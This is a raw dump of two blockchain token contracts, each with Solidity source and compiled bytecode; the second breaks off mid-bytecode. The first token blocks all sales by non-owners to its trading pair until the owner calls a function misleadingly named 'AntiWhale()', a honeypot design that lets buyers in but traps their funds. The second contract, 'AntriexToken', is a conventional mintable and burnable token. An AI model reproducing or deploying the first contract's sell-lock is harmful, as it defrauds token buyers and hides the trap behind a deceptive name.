_maxTxAmount = _totalSupply.mul(1).div(100);
IpancakeRouter02 _pancakeRouter = IpancakeRouter02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D // UniswapV2Router02
);
// Create a uniswap pair for this new token
pancakePair = IUniswapV2Factory(_pancakeRouter.factory()).createPair(
address(this),
_pancakeRouter.WETH()
);
// set the rest of the contract variables
pancakeRouter = _pancakeRouter;
// exclude from max tx
_isExcludedFromMaxTx[owner()] = true;
_isExcludedFromMaxTx[address(this)] = true;
emit Transfer(address(0), owner(), _totalSupply);
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function AntiWhale() external onlyOwner {
_sellingOpen = true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"WE: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function setExcludeFromMaxTx(address _address, bool value) public onlyOwner {
_isExcludedFromMaxTx[_address] = value;
}
// for 1% input 1
function setMaxTxPercent(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = _totalSupply.mul(maxTxAmount).div(100);
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"WE: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "WE: transfer from the zero address");
require(recipient != address(0), "WE: transfer to the zero address");
require(amount > 0, "WE: Transfer amount must be greater than zero");
if(_isExcludedFromMaxTx[sender] == false &&
_isExcludedFromMaxTx[recipient] == false // by default false
){
require(amount <= _maxTxAmount,"amount exceed max limit");
if (!_sellingOpen && sender != owner() && recipient != owner()) {
require(recipient != pancakePair, " WE:Selling is not enabled");
}
}
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"WE: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806376474949116100b8578063a9059cbb1161007c578063a9059cbb1461026e578063b8c9d25c14610281578063c21ebd0714610294578063d543dbeb146102a7578063dd62ed3e146102ba578063f2fde38b146102f357600080fd5b806376474949146102185780637d1db4a5146102255780638da5cb5b1461022e57806395d89b4114610253578063a457c2d71461025b57600080fd5b806339509351116100ff57806339509351146101b75780635b89029c146101ca5780636adeb40d146101df57806370a08231146101e7578063715018a61461021057600080fd5b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461017d57806323b872dd1461018f578063313ce567146101a2575b600080fd5b610144610306565b6040516101519190610cc5565b60405180910390f35b61016d610168366004610d36565b610398565b6040519015158152602001610151565b6009545b604051908152602001610151565b61016d61019d366004610d60565b6103af565b60085460405160ff9091168152602001610151565b61016d6101c5366004610d36565b61045b565b6101dd6101d8366004610d9c565b610497565b005b6101dd6104ec565b6101816101f5366004610dd8565b6001600160a01b031660009081526001602052604090205490565b6101dd610525565b600a5461016d9060ff1681565b610181600b5481565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610151565b61014461055b565b61016d610269366004610d36565b61056a565b61016d61027c366004610d36565b610600565b60055461023b906001600160a01b031681565b60045461023b906001600160a01b031681565b6101dd6102b5366004610df3565b61060d565b6101816102c8366004610e0c565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101dd610301366004610dd8565b61065d565b60606006805461031590610e3f565b80601f016020809104026020016040519081016040528092919081815260200182805461034190610e3f565b801561038e5780601f106103635761010080835404028352916020019161038e565b820191906000526020600020905b81548152906001019060200180831161037157829003601f168201915b5050505050905090565b60006103a53384846107c0565b5060015b92915050565b60006103bc8484846108e4565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156104435760405162461bcd60e51b815260206004820152602560248201527f57453a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b60648201526084015b60405180910390fd5b61045085338584036107c0565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916103a5918590610492908690610e90565b6107c0565b6000546001600160a01b031633146104c15760405162461bcd60e51b815260040161043a90610ea8565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146105165760405162461bcd60e51b815260040161043a90610ea8565b600a805460ff19166001179055565b6000546001600160a01b0316331461054f5760405162461bcd60e51b815260040161043a90610ea8565b6105596000610c3e565b565b60606007805461031590610e3f565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156105e95760405162461bcd60e51b815260206004820152602260248201527f57453a2064656372656173656420616c6c6f77616e63652062656c6f77207a65604482015261726f60f01b606482015260840161043a565b6105f633858584036107c0565b5060019392505050565b60006103a53384846108e4565b6000546001600160a01b031633146106375760405162461bcd60e51b815260040161043a90610ea8565b6106576064610651836009546106f890919063ffffffff16565b9061077e565b600b5550565b6000546001600160a01b031633146106875760405162461bcd60e51b815260040161043a90610ea8565b6001600160a01b0381166106ec5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161043a565b6106f581610c3e565b50565b600082610707575060006103a9565b60006107138385610edd565b9050826107208583610efc565b146107775760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043a565b9392505050565b600061077783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c8e565b6001600160a01b0383166108225760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043a565b6001600160a01b0382166108835760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109455760405162461bcd60e51b815260206004820152602260248201527f57453a207472616e736665722066726f6d20746865207a65726f206164647265604482015261737360f01b606482015260840161043a565b6001600160a01b03821661099b5760405162461bcd60e51b815260206004820181905260248201527f57453a207472616e7366657220746f20746865207a65726f2061646472657373604482015260640161043a565b60008111610a015760405162461bcd60e51b815260206004820152602d60248201527f57453a205472616e7366657220616d6f756e74206d757374206265206772656160448201526c746572207468616e207a65726f60981b606482015260840161043a565b6001600160a01b03831660009081526003602052604090205460ff16158015610a4357506001600160a01b03821660009081526003602052604090205460ff16155b15610b3857600b54811115610a9a5760405162461bcd60e51b815260206004820152601760248201527f616d6f756e7420657863656564206d6178206c696d6974000000000000000000604482015260640161043a565b600a5460ff16158015610abb57506000546001600160a01b03848116911614155b8015610ad557506000546001600160a01b03838116911614155b15610b38576005546001600160a01b0383811691161415610b385760405162461bcd60e51b815260206004820152601a60248201527f2057453a53656c6c696e67206973206e6f7420656e61626c6564000000000000604482015260640161043a565b6001600160a01b03831660009081526001602052604090205481811015610bad5760405162461bcd60e51b815260206004820152602360248201527f57453a207472616e7366657220616d6f756e7420657863656564732062616c616044820152626e636560e81b606482015260840161043a565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290610be4908490610e90565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c3091815260200190565b60405180910390a350505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008183610caf5760405162461bcd60e51b815260040161043a9190610cc5565b506000610cbc8486610efc565b95945050505050565b600060208083528351808285015260005b81811015610cf257858101830151858201604001528201610cd6565b81811115610d04576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d3157600080fd5b919050565b60008060408385031215610d4957600080fd5b610d5283610d1a565b946020939093013593505050565b600080600060608486031215610d7557600080fd5b610d7e84610d1a565b9250610d8c60208501610d1a565b9150604084013590509250925092565b60008060408385031215610daf57600080fd5b610db883610d1a565b915060208301358015158114610dcd57600080fd5b809150509250929050565b600060208284031215610dea57600080fd5b61077782610d1a565b600060208284031215610e0557600080fd5b5035919050565b60008060408385031215610e1f57600080fd5b610e2883610d1a565b9150610e3660208401610d1a565b90509250929050565b600181811c90821680610e5357607f821691505b60208210811415610e7457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610ea357610ea3610e7a565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000816000190483118215151615610ef757610ef7610e7a565b500290565b600082610f1957634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220f23b1693329b6038e8c2ea324eef5c3976fd7c373c4cfa3be9ec1dd1ed8fe58264736f6c63430008090033
|
{"success": true, "error": null, "results": {}}
| 1,673 |
0xd51d01c89f3f9b4b3a85e6fcf932b2877ff3acca
|
pragma solidity 0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
/// Total amount of tokens
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _amount) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success);
function approve(address _spender, uint256 _amount) public returns (bool success);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
//balance in each address account
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _amount The amount to be transferred.
*/
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(balances[msg.sender] >= _amount && _amount > 0
&& balances[_to].add(_amount) > balances[_to]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _amount uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(balances[_from] >= _amount);
require(allowed[_from][msg.sender] >= _amount);
require(_amount > 0 && balances[_to].add(_amount) > balances[_to]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _amount The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken, Ownable {
//this will contain a list of addresses allowed to burn their tokens
mapping(address=>bool)allowedBurners;
event Burn(address indexed burner, uint256 value);
event BurnerAdded(address indexed burner);
event BurnerRemoved(address indexed burner);
//check whether the burner is eligible burner
modifier isBurner(address _burner){
require(allowedBurners[_burner]);
_;
}
/**
*@dev Method to add eligible addresses in the list of burners. Since we need to burn all tokens left with the sales contract after the sale has ended. The sales contract should
* be an eligible burner. The owner has to add the sales address in the eligible burner list.
* @param _burner Address of the eligible burner
*/
function addEligibleBurner(address _burner)public onlyOwner {
require(_burner != address(0));
allowedBurners[_burner] = true;
emit BurnerAdded(_burner);
}
/**
*@dev Method to remove addresses from the list of burners
* @param _burner Address of the eligible burner to be removed
*/
function removeEligibleBurner(address _burner)public onlyOwner isBurner(_burner) {
allowedBurners[_burner] = false;
emit BurnerRemoved(_burner);
}
/**
* @dev Burns all tokens of the eligible burner
*/
function burnAllTokens() public isBurner(msg.sender) {
require(balances[msg.sender]>0);
uint256 value = balances[msg.sender];
totalSupply = totalSupply.sub(value);
balances[msg.sender] = 0;
emit Burn(msg.sender, value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Antriex Token
* @dev Token representing DRONE.
*/
contract AntriexToken is BurnableToken, MintableToken {
string public name ;
string public symbol ;
uint8 public decimals = 18 ;
/**
*@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller
*/
function ()public payable {
revert();
}
/**
* @dev Constructor function to initialize the initial supply of token to the creator of the contract
* @param initialSupply The initial supply of tokens which will be fixed through out
* @param tokenName The name of the token
* @param tokenSymbol The symboll of the token
*/
function AntriexToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol) public {
totalSupply = initialSupply.mul( 10 ** uint256(decimals)); //Update total supply with the decimal amount
name = tokenName;
symbol = tokenSymbol;
balances[msg.sender] = totalSupply;
//Emitting transfer event since assigning all tokens to the creator also corresponds to the transfer of tokens to the creator
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
*@dev helper method to get token details, name, symbol and totalSupply in one go
*/
function getTokenDetail() public view returns (string, string, uint256) {
return (name, symbol, totalSupply);
}
}
|
0x6060604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010157806306fdde031461012e578063095ea7b3146101bc57806318160ddd1461021657806323b872dd1461023f578063289de615146102b8578063313ce567146103b95780633e087d01146103e857806340c10f191461042157806370a082311461047b5780637c47df2f146104c85780637d64bcb4146105015780638da5cb5b1461052e57806395d89b4114610583578063a9059cbb14610611578063c17e2aa11461066b578063dd62ed3e14610680578063f2fde38b146106ec575b600080fd5b341561010c57600080fd5b610114610725565b604051808215151515815260200191505060405180910390f35b341561013957600080fd5b610141610738565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610181578082015181840152602081019050610166565b50505050905090810190601f1680156101ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c757600080fd5b6101fc600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107d6565b604051808215151515815260200191505060405180910390f35b341561022157600080fd5b6102296108c8565b6040518082815260200191505060405180910390f35b341561024a57600080fd5b61029e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108ce565b604051808215151515815260200191505060405180910390f35b34156102c357600080fd5b6102cb610d37565b604051808060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156103155780820151818401526020810190506102fa565b50505050905090810190601f1680156103425780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561037b578082015181840152602081019050610360565b50505050905090810190601f1680156103a85780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34156103c457600080fd5b6103cc610e93565b604051808260ff1660ff16815260200191505060405180910390f35b34156103f357600080fd5b61041f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ea6565b005b341561042c57600080fd5b610461600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fdc565b604051808215151515815260200191505060405180910390f35b341561048657600080fd5b6104b2600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111c4565b6040518082815260200191505060405180910390f35b34156104d357600080fd5b6104ff600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061120d565b005b341561050c57600080fd5b610514611361565b604051808215151515815260200191505060405180910390f35b341561053957600080fd5b610541611429565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561058e57600080fd5b61059661144f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d65780820151818401526020810190506105bb565b50505050905090810190601f1680156106035780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561061c57600080fd5b610651600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114ed565b604051808215151515815260200191505060405180910390f35b341561067657600080fd5b61067e6117b8565b005b341561068b57600080fd5b6106d6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611955565b6040518082815260200191505060405180910390f35b34156106f757600080fd5b610723600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506119dc565b005b600560009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107ce5780601f106107a3576101008083540402835291602001916107ce565b820191906000526020600020905b8154815290600101906020018083116107b157829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561090b57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561095957600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156109e457600080fd5b600082118015610a835750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a8183600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3490919063ffffffff16565b115b1515610a8e57600080fd5b610ae082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b7582600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c4782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b610d3f611b6b565b610d47611b6b565b600060066007600054828054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610de55780601f10610dba57610100808354040283529160200191610de5565b820191906000526020600020905b815481529060010190602001808311610dc857829003601f168201915b50505050509250818054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e815780601f10610e5657610100808354040283529160200191610e81565b820191906000526020600020905b815481529060010190602001808311610e6457829003601f168201915b50505050509150925092509250909192565b600860009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610f3e57600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f86e57fd2b90329052917118de7c3f521f400d439b9650deaa906a25b08b9456060405160405180910390a250565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561103a57600080fd5b600560009054906101000a900460ff1615151561105657600080fd5b61106b82600054611b3490919063ffffffff16565b6000819055506110c382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126957600080fd5b80600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156112c257600080fd5b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f90eabbc0c667db2a5029ed6bc0f5fe9f356d11684a4ca9fcfaec0e53f12b9c8e60405160405180910390a25050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113bf57600080fd5b600560009054906101000a900460ff161515156113db57600080fd5b6001600560006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114e55780601f106114ba576101008083540402835291602001916114e5565b820191906000526020600020905b8154815290600101906020018083116114c857829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561152a57600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156115795750600082115b80156116145750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461161283600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3490919063ffffffff16565b115b151561161f57600080fd5b61167182600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061170682600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273fffffffffffffff